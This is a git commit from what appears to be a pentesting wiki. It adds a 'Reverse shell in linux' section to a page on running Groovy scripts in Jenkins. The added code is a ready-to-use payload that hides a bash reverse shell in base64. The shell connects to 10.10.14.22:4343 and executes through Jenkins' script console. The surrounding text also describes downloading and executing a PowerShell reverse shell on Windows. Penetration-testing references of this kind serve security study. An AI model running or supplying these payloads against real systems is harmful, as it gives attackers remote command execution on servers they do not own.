GitBook: [master] one page modified

This commit is contained in:
CPol 2020-12-29 18:26:52 +00:00 committed by gitbook-bot
parent b66373f818
commit 428b653ae2
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF

View File

@ -87,6 +87,16 @@ proc.waitForOrKill(1000)
println "out> $sout err> $serr" println "out> $sout err> $serr"
``` ```
### Reverse shell in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in windows ### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it: